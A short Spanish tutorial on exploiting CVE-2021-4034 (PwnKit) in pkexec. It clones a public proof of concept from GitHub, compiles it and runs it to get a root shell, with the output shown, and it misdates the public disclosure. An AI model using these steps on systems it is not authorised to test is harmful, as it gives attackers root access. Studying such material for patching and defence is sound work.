CVE-2021-4034

Se descubrió una grave vulnerabilidad de corrupción de memoria en la herramienta pkexec, identificada como CVE-2021-4034 y denominada PwnKit. Este fallo permite la escalada de privilegios y permaneció oculto durante más de diez años, sin que se pueda determinar con exactitud cuándo fue explotado por primera vez. Finalmente, fue revelado públicamente en noviembre de 2021 y corregido dos meses después.

Explotación

Para aprovechar esta vulnerabilidad, es necesario:

  • Descargar un Proof of Concept (PoC) diseñado para el ataque.
  • Compilarlo directamente en el sistema objetivo o en una réplica del entorno vulnerable.
elliot@debian:~$ git clone https://github.com/arthepsy/CVE-2021-4034.git
elliot@debian:~$ cd CVE-2021-4034
elliot@debian:~$ gcc cve-2021-4034-poc.c -o poc

Una vez compilado el código, podemos ejecutarlo sin más. Obteniendo una shell como root.

elliot@debian:~$ ./poc

# id
uid=0(root) gid=0(root) groups=0(root)